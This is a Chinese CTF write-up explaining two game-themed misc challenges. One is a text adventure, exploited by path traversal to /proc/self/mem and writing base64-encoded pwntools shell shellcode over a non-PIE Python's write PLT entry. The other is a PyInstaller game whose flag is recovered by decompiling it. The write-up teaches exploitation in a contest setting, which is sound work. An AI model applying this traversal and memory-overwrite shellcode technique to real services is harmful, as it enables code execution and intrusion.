春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

WriteUp 2年前 (2022) admin
811 0 0

楠之勇者传

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

制作想法

最近玩的游戏较多,很想能制作一个简单的游戏供大家探索。最后采用了文字游戏的形式,但由于阳耽误了剧本进度,最后呈现出的剧情、关卡相对很少,简化了不少。

制作题目与制作游戏本身就有所冲突,如何埋下题目考点,不至于特别的生硬,以及在文字游戏里能玩的考点不多,最后抱着能让大家学习点东西的目的,设计了一个trick。

如果大家对此类游戏有更多的考点想法,欢迎私聊我。

信息收集

下发容器后,nc连接进去,输入姓名,选择职业后,就展示了地图,有5个选择项。

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

选择1:新手村 

展示个人信息(每次游戏初始化能力值都是随机的),最关键是可以查看装备介绍。

神秘之戒所记录的字符串为题目环境的操作系统信息(ubuntu 18.04)、python版本(python 3.6.9)


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

选择2:勇者峡谷

记事录里的操作:

输入文件名、页数(?)、内容


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

选择3:魔法师公会

可购买新装备

基础魔杖可以“基础64”魔法来记录文字


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

选择4:历练岛

尝试几次后发现就是随机得到金币和失去血量,并且血量≤0就gg


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

选择5:提示大厅

提示1为flag在/flag,ctf题常见做法

提示2是展示关键代码,如果觉得自己可以探索发现可以跳过。

探索发现

简单信息收集后,发现这个游戏世界很小,能做的操作很少。去历练岛历练几次赚取15枚金币,到魔法师公会购买基础魔杖,再去勇者峡谷记录就会出现不一样的文字。

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

这里猜测基础魔杖基础64魔法,就是ctf里常用的base64编码,可以在记录时以base64编码写入,写内容时再自动解码。

依靠一名游戏玩家&ctfer的直觉,盲猜解题突破口就在此,且猜测页数是文件写入时的偏移量

(如果观看了提示大厅的提示2,就会发现确实如此。)

解题过程

记事录的文件名可以随便写,内容也可以随便写,甚至可以编码写入,但普通的写入文件又不能助我们拿到/flag文件内容,且写入文件又不能执行,更何况本题也给我们不展示写入后的内容。

题目中在写入文件使用seek操作,我们可以尝试向/proc/self/mem文件写入编码后的shellcode,结合ubuntu:18.04上默认安装的python就是3.6.9,并且python是没有开PIE(基地址不改变),我们就可以直接通过向write的plt表里面写shellcode。

/proc/[pid]/mem

This file can be used to access the pages of a process’s memory through open, read, and lseek.

解题过程


# 目录穿越漏洞
../../../../../../../proc/self/mem
# 使用pwntools获取plt
# 推荐python版本3.8以上
# python3.6复制于容器

>>> from pwn import *
>>> elf = ELF('python3.6')
[*] '/tmp/p/python3.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
>>> elf.plt['write']
4327552
# 使用pwntools得到shellcode
>>> from pwn import *
>>> from base64 import *
>>> context.arch='amd64'
>>> b64encode(asm(shellcraft.sh()))
b'amhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8F'
春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

彩蛋

初始时输入小楠楠姓名,能力值都是100,且有初始金币100枚,也就可以不用历练,直接购买装备。^_^

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

reindeer game

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

制作想法

春秋杯冬季赛第三天需要一个简单题,能让更多人参与进来,于是想出一个游戏,玩通关就可以获得flag,或者通过逆向分析来直接获得flag。

然后学习了pygame,简单学习了几款小游戏,依据难度、趣味等,最后找github的一个驯鹿游戏改编了点下,把其中的波兰语翻译为英语,然后配上bgm,再设置一番,打包成exe。

解题过程

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

解法一:正常玩游戏即可。跟猎枪相碰也没事,只要快速移动走即可。

解法二:逆向分析。

exe的图标是PyInstaller所创建的,可以考虑使用PyInstaller Extractor提取出exe里的pyc文件,再使用uncompyle6对pyc文件进行反编译,得到python源码后,就很容易获取flag。

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

  1. 使用PyInstaller Extractor提取
python pyinstxtractor.py reindeer.exe
  1. 打开PYZ-00.pyz_extracted文件夹,任找一个pyc文件,看下二进制,看前列头对比下,发现550d0d0a 00000000 00000000开头,python版本为python3.8

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

  1. 返回找reindeer文件,在其头部加上550d0d0a 00000000 00000000 00000000保存,并将文件重命名为reindeer.pyc (新版本的pyinstaller extractor会自动处理好这步)

  2. 使用uncompyle6对pyc文件进行反编译

uncompyle6 -o reindeer.py reindeer.pyc

(uncompyle6最新版本为3.9.0,推荐使用3.8.0,因为使用python3.8,防止在反编译出问题。)

  1. 在reindeer.py找到from astar import astar, getczekolada然后getczekolada()就返回flag

我们再看下astar.py文件

def getczekolada():
    data = b'x1fx8bx08x00xd6x03xa0cx02xffKxcbILxafxb60J4JLN2xd3xb5xb400xd65xb14x06xb2x8cRx92txd3x0cMx8crS,rx92xcdRx0ckx01xc7Y,xef*x00x00x00'
    return gzip.decompress(data).decode('utf8')

其实就一个gzip的压缩。

彩蛋

通过逆向分析,发现在游戏中同时按下0、1、2三个键可以开启彩蛋环节。每吃一块姜饼上面将多出一块巧克力,通关后,有图片播放。

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》


+ + + + + + + + + + + 


《楠之勇者传》、《reindeer game》可在CTF大本营中进行挑战:

https://www.ichunqiu.com/battalion


春秋GAME伽玛实验室

会定期分享赛题赛制设计、解题思路……

如果你日常有一些技术研究和好的设计思路

或在赛后对某道题有另辟蹊径的想法

欢迎找到春秋GAME投稿哦~

联系vx:cium0309

欢迎加入 春秋GAME CTF交流2群

Q群:703460426

春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》


春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

原文始发于微信公众号(春秋伽玛):春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》

版权声明:admin 发表于 2022年12月30日 下午1:48。
转载请注明:春秋杯冬季赛游戏类misc题解析:《楠之勇者传》、《驯鹿游戏》 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...